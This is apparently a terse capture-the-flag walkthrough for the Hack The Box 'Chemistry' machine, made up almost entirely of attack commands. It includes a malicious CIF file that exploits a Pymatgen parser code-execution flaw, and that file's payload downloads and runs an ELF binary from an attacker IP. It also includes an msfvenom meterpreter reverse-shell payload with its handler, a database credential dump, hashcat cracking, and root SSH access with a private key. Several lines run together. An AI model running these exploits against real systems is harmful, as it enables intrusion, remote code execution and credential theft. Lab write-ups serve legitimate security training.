HTB靶场 Chemistry (Linux)[Easy]

nmap -sC -sV -O -oN nmap.txt 10.10.11.38

data_5yOhtAoR_audit_creation_date            2018-06-08_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"loop__parent_propagation_vector.id_parent_propagation_vector.kxkykzk1 [0 0 0]_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("wget 10.10.16.9/sss.elf && chmod +x sss.elf && ./sss.elf");0,0,0'    _space_group_magn.number_BNS  62.448_space_group_magn.name_BNS  "P  n'  m  a'  "

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.10.16.9 lport=4446 -f elf>sss.elfpython -m http.server 80

msfconsoleuse exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lhost 10.10.16.9set lport 4446run

sqlite3 /home/app/instance/database.db.tableselect * from user;

hashcat -m 0 rosa.hash rockyou –show

ssh rosa@10.10.11.38

netstat -tuln

ssh rosa@10.10.11.38 -L 8080:localhost:8080

chmod root_id_rsassh -I root_id_rsa root@10.10.11.38